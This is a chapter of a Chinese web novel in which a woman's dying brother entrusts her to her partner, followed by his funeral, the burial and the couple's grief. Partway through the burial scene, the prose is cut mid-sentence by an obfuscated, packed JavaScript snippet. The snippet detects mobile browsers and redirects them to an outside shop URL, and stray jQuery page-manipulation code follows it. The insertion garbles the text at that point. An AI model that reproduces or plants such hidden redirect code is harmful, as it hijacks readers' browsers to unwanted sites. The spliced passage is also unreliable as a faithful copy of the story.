林敏打电话来的时候，是周六下午。
沈君瑜正在阳台给鱼缸换水，听到客厅里莫希文的声音不对劲。她放下手里的东西走进去，看到莫希文握着手机，脸色发白。
“好，我知道了。”莫希文的声音很轻，“我马上过来。”
挂了电话，她站在原地，一动不动。
“怎么了？”沈君瑜走过去。
莫希文抬起头，眼眶已经红了。
“我哥……”她顿了顿，“情况不好。嫂子让我去上海。”
沈君瑜二话没说，转身去拿车钥匙。
“我陪你去。”
一路上莫希文很安静，安静得不正常。她靠在副驾驶上，看着窗外飞速后退的景色，一句话也没说。沈君瑜几次侧头看她，只能看到她绷紧的下颌线，和死死攥着安全带的手。
沈君瑜伸出手，覆在她手背上。莫希文的手很凉，微微发抖。
“会没事的。”沈君瑜说。她知道这话很苍白，但除了这个，她不知道该说什么。
莫希文没有说话，只是反手握住她的手，握得很紧。
华山医院的高级病房在十九楼，很安静，空气里弥漫着消毒水的味道。沈君瑜跟着莫希文走到病房门口，透过门上的玻璃，看到了里面的情景。
莫建文躺在床上，脸色灰败，身上连着各种仪器。林敏坐在床边，正在和他说着什么。怡然也在，挺着孕肚，眼睛红肿。
莫希文的手在门把手上顿了顿，深吸一口气，推开门。
沈君瑜跟在她身后走了进去。
莫建文看到妹妹，脸上挤出一个笑。他的目光越过莫希文，落在沈君瑜身上，微微点了点头。
“来了。”他的声音很轻，带着病中的虚弱。
莫希文走到床边，握住他的手，眼泪已经在眼眶里打转。
“哥……”
莫建文拍拍她的手，示意她坐下。然后他看向沈君瑜，用另一只手招了招。
“君瑜，过来。”
沈君瑜走上前，站在莫希文身边。
莫建文看着她们俩，目光里有很多东西，疲惫，不舍，还有一点点欣慰。
“我这个妹妹，”他开口，声音断断续续，“从小被我宠坏了。脾气倔，嘴硬心软，有时候会钻牛角尖。”
莫希文想说什么，被他摆摆手制止了。
“你们的事，她跟我说过。”莫建文看着沈君瑜，“刚开始我有点担心，怕她过得不好。”
沈君瑜静静地听着，没有插话。
“后来我见了你，放心了一点。”莫建文继续说，“你话不多，但人踏实。我看得出来，你是真心对她好。”
他顿了顿，喘了口气。
“我这辈子，没什么遗憾的。事业该有的都有了，女儿也成家了。”他的目光落在莫希文脸上，“唯一放不下的，就是这个妹妹。爸妈走得早，我答应过他们要照顾好她，我们兄妹的感情都不顺。”
莫希文的眼泪滚落下来。
莫建文看着她，眼神温柔。然后他转向沈君瑜，缓缓伸出手。
沈君瑜握住他的手。那只手很瘦，骨节分明，却很温暖。
“君瑜，”莫建文看着她，一字一句地说，“以后，你帮我好好照顾她。”
沈君瑜的手微微收紧。
“我会的。”她说，声音不大，但很坚定。
莫建文点点头，嘴角浮起一丝笑意。
“那我就放心了。”
他松开手，靠在枕头上，像是完成了最后一件心事，整个人都松弛下来。
莫希文再也忍不住，扑到床边，把脸埋在哥哥的手心里，哭得说不出话。
沈君瑜站在旁边，看着这一幕，眼眶也红了。
那天下午，她们在病房待了很久。莫建文累了，昏昏沉沉地睡过去，莫希文就守在床边，握着他的手，静静地看着他。
傍晚时分，护士来换药，莫希文才被劝着出去吃点东西。她和沈君瑜在医院附近的快餐店随便吃了点，谁都没什么胃口。
“他从来没跟我说过那些。”莫希文用筷子戳着盘子里的饭，“什么放心不下我，他一直都是那种，什么事都能搞的定，不让我担心的那种人。”
沈君瑜看着她，没有说话。
“他第一次这样，当面跟人说，让你照顾我。”莫希文抬起头，眼眶又红了，“他是不是，知道自己真的不行了？”
沈君瑜伸手过去，握住她的手。
“他是在完成最后的心愿。”她说，“把你安排好，他才能安心。”
莫希文的眼泪又滚落下来。
三天后，莫建文走了。
追悼会在龙华殡仪馆举行，来的人很多。集团的领导，生意场上的伙伴，还有莫家的亲戚朋友。莫希文穿着黑色的套装，站在家属区，表情木然。沈君瑜一直站在她身后半步的位置，不远不近，让她随时可以依靠。
追悼会结束后，遗体火化。莫希文看着哥哥的遗体被推走的那一刻，终于崩溃。沈君瑜把她抱在怀里，让她尽情地哭。
落葬安排在冬至那天。
墓地在苏州郊外的一座山上，依山傍水，环境清幽。莫建文的墓穴选在父母附近，是夫妻双穴位。林敏站在旁边，看着自己的名字已经刻在墓碑上，和莫建文并排，只差生卒年的最后一笔。
她伸手抚摸着那块冰凉的石碑，眼眶红了。
“我们浪费了那么多年。”她轻声说，像是在对莫建文说，又像是在自言自语。
怡然在旁边轻轻叫了一声：“妈……”
林敏摇摇头，示意自己没事。她蹲下来，手指描摹着墓碑上莫建文的名字。
“你这个人，什么都好，就是倔。”她说，声音很轻，像是在说给谁听，“我也倔。两个人都不肯低头，就这么耗着。总以为以后有的是时间，等你想通了，等我想通了……”
她顿了顿，声音哽住。
“等到想好好过日子的时候，已经没机会了。”
怡然挺着孕肚蹲下来，抱住母亲的肩膀。母女俩相拥而泣。
莫希文站在旁边，眼泪无声地流。她想起小时候，大哥带着嫂子第一次回家，那时候他们多好啊，眼神里都是对方。什么时候开始变的？也许是从大哥工作越来越忙开始，也许是从嫂子也变得越来越强开始，也许是从谁都不肯先低头那一刻开始。
沈君瑜走过来，轻轻揽住她的肩。
祭扫完莫建文，一行人又去了不远处的父母墓地。墓碑上，父亲的名字旁边，母亲的名字旁边，如今莫建文的名字变成了鲜红的字迹，刺目惊心。
莫希文站在墓前，看着那些名字，心像被什么东西狠狠攥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467603|201312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住。
父母走的时候，她还有哥哥。哥哥走的时候，她身边有沈君瑜。
可那个从小把她护在身后的身影，再也回不来了。
她蹲下去，伸手抚摸着墓碑上莫建文的名字，指尖冰凉。
“哥……”她只喊了一声，就再也说不出话来。
沈君瑜在她身边蹲下，一只手环住她的肩膀，另一只手覆在她抚摸墓碑的手上。什么都没说，只是陪着她。
很久之后，莫希文站起来，靠在沈君瑜身上。沈君瑜搂着她，轻轻擦去她脸上的泪。
下山的时候，莫希文一直没说话。沈君瑜也没有，只是牵着她的手，握得很紧。
中午在附近的饭店吃饭，一桌子的菜，几乎没人动。林敏吃得很少，怡然更是只喝了几口汤。莫希文勉强吃了几口，就放下了筷子。
吃完饭，林敏和怡然一家回上海。临上车前，林敏拉住莫希文的手。
“你们要好好的，让你哥放心。”她的声音很轻。
她看了一眼沈君瑜，点了点头。沈君瑜也点头回应。
“嫂子，”莫希文犹豫了一下，“你以后……”
林敏摇摇头，挤出一个笑。
“我没事。一个人习惯了。”她顿了顿，“就是后悔，太晚了。”
车子开走，留下两个人站在饭店门口。冬天的风很冷，吹得人脸疼。
“回家吧。”沈君瑜说。
莫希文点点头，上了车。
一路上，她还是没说话。沈君瑜也没有，只是时不时侧头看她一眼。莫希文靠在副驾驶上，看着窗外，眼泪一直无声地流。她不哭出声，只是让眼泪那样流着，像一条不会干涸的河。
到家后，莫希文换了家居服，坐在沙发上，还是不说话。沈君瑜倒了一杯温水放在她面前，然后在她身边坐下，把她揽进怀里。
莫希文终于哭出声来。
她靠在沈君瑜肩上，像个小孩子一样哭，哭得浑身发抖，哭得上气不接下气。沈君瑜什么都不说，只是抱着她，轻轻拍着她的背，任由她的眼泪浸湿自己的衣服。
“我哥没了。”莫希文哭着说，“我哥没了……”
沈君瑜的喉咙发紧。她吻了吻莫希文的发顶，声音沙哑。
“我知道。”
“他对我那么好，那么照顾我，他现在让你照顾我……”
“我会的。”沈君瑜说，“我答应过他。”
莫希文抬起头，泪眼模糊地看着她。
沈君瑜看着她的眼睛，一字一句地说：“我会好好照顾你，一辈子。”
莫希文看着她，眼泪又涌出来。她把脸埋回沈君瑜肩上，继续哭。
哭了很久很久，直到哭不出声，直到浑身脱力。沈君瑜始终抱着她，一下一下地拍着她的背，像哄一个悲伤的孩子。
窗外的天渐渐黑了。屋里没开灯，只有窗外的路灯透进来一点微弱的光。两个人就那样依偎着，在黑暗中，静静地度过这个最难熬的夜晚。
“君瑜。”很久之后，莫希文忽然开口，声音沙哑得像砂纸。
“嗯？”
“以后，我只有你了。”
沈君瑜收紧了抱着她的手臂。
“我会一直在。”她说，“我答应过你哥。”
黑暗中，莫希文握住她的手，十指相扣。